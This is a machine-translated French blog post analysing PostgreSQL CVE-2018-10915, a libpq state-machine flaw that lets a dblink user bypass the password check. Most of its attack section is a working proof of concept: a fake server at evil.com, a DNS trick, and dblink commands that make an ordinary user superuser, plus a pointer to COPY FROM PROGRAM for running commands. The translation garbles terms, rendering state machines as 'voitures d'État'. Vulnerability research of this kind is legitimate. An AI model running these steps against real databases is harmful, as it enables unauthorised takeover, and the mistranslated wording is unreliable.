PostgreSQL elévation de privilèges - CVE-2018-10915 parsing

KDPV

Ce n'est un secret pour personne que les voitures d'État sont parmi nous. Ils sont littéralement partout, de l'interface utilisateur à la pile réseau. Parfois complexe, parfois simple. Parfois lié à la sécurité, parfois pas très. Mais, souvent, assez fascinant à étudier :) Aujourd'hui, je veux parler d'un cas amusant avec PostgreSQL - CVE-2018-10915 , qui a permis d'augmenter les privilèges du superutilisateur.


Petite intro


Comme vous le savez, les bases de données gérées rythment le monde. Ce n'est pas surprenant - si vous avez une application simple et non exigeante, alors pourquoi maudire avec la préparation de votre propre base. En effet, avec la plupart des fournisseurs cloud (ou spécialisés), vous pouvez vous procurer une base de données MySQL / PostgreSQL / MongoDB / etc et vivre heureux pour toujours. Bien sûr, cela a causé des problèmes supplémentaires, comme si avant afin d'exploiter la plupart des problèmes de sécurité dans les bases de données, vous deviez d'abord obtenir l'application (qui en soi est terminée dans la plupart des cas), maintenant cul nu leur interface se tient à l'attaquant. Il devrait y avoir une remarque sur le fait que la prochaine barrière devrait être une infrastructure de haute qualité et c'est vrai, mais aujourd'hui ce n'est pas le cas.


L'essence de CVE-2018-10915


  • Dans la plupart des cas, PostgreSQL ne nécessite pas d'authentification pour les connexions locales. Un exemple de l'image docker officielle:

# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust 

  • grâce aux extensions dblink et postgres_fdw , vous pouvez vous connecter à des bases de données distantes. Et à en juger par les forums, les consommateurs sont souvent interrogés sur leur disponibilité;)
  • les auteurs étaient déjà brûlés lors de l'escalade de privilèges, ils ont donc fait un hack interdisant les connexions sans authentification:

 // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639 static void dblink_security_check(PGconn *conn, remoteConn *rconn) { if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } } } // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314 int PQconnectionUsedPassword(const PGconn *conn) { if (!conn) return false; if (conn->password_needed) return true; else return false; } 

  • l'indicateur password_needed est défini par la machine d'état après la réception d'un message AUTH_REQ_MD5 ou AUTH_REQ_PASSWORD du serveur
  • libpq peut contourner plusieurs adresses IP (pg 9.x) ou hôtes (pg 10.x / 11.x) à la recherche d'un
  • la machine d'état passe à la prochaine adresse IP / hôte après avoir défini l'indicateur password_needed dans deux cas pratiques pour nous:
    • nous voulons une session accessible en écriture ( target_session_attrs=read-write ), et le serveur est en lecture seule
    • à la réception d'une erreur unknown application_name nom_application
  • lors du passage à l'IP / hôte suivant, pqDropConnection est appelé , ce qui nettoie très sélectivement les données de connexion (car certaines d'entre elles peuvent être nécessaires pour la reconnexion). Astuce: password_needed pas réinitialisé
  • cela permet de contourner la vérification dblink_security_check, car lorsqu'il est connecté à l'hôte suivant, le drapeau reste avec la valeur précédente
  • PROFIT

Ainsi, si nous avons un utilisateur ayant accès à dblink et PostgreSQL avec des connexions de confiance pour cet hôte, nous pouvons contourner l'exigence d'authentification avec un mot de passe, nous connecter au nom du superviseur postgres et exécuter quoi que ce soit en son nom (par exemple, des commandes arbitraires utilisant COPY foo FROM PROGRAM 'whoami'; ).


De la théorie à la pratique - PostgreSQL 10.4!


Mais vous n'en aurez pas marre d'une seule théorie, j'ai donc préparé un petit exemple d'exploitation de cette vulnérabilité. Nous allons commencer avec PostgreSQL 10.4.


  • Tout d'abord, écrivez et exécutez un serveur PostgreSQL simple ( faux-pgsrv ), qui nécessitera une authentification par mot de passe pour toute demande et enverra une erreur ERRCODE_APPNAME_UNKNOWN après l'avoir reçue:

 $ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432? 

  • Préparez maintenant le test PostgreSQL:

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • nous vérifions que le test utilisateur ne dispose pas de droits spécifiques:

 $ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test 

  • excellent, maintenant nous opérons:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser 

  • c'est tout. Nous pouvons faire ce que nous voulons ^ _ ^

De la théorie à la pratique - PostgreSQL 9.6!


Avec PostgreSQL 9.x, les choses sont un peu plus compliquées, car il ne prend pas en charge l'énumération de la liste des hôtes auxquels se connecter. Mais si l'adresse se résout en plusieurs IP, elle les contournera toutes! Et depuis Les adresses IPv6 ont la priorité (voir RFC6724 ), nous pouvons faire la même chose simplement en répondant à nos IP à une demande AAAA, et 127.0.0.1 à A + abandonnant les connexions pendant quelques secondes après l'envoi de ERRCODE_APPNAME_UNKNOWN :


  • préparer DNS:

 $ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba 

  • exécuter le même faux pgsql
  • et préparez à nouveau le test PostgreSQL (IPv6 devrait fonctionner pour le docker, c'est important):

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • nous opérons:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {} 

  • c'est tout. Nous pouvons faire ce que nous voulons ^ _ ^

Conclusion


Je voulais conclure en écrivant quelque chose d'intelligent, mais, malheureusement, je n'ai pas de moyen bon, simple et universel de vérifier que tout va bien avec votre machine d'état. Il y a plusieurs tentatives, mais d'après ce que j'ai vu, elles sont soit trop spécialisées, soit elles font toujours face à des erreurs logiques. Il reste à espérer de la vigilance et une paire d'yeux supplémentaires sur la revue :(

Source: https://habr.com/ru/post/fr440394/


All Articles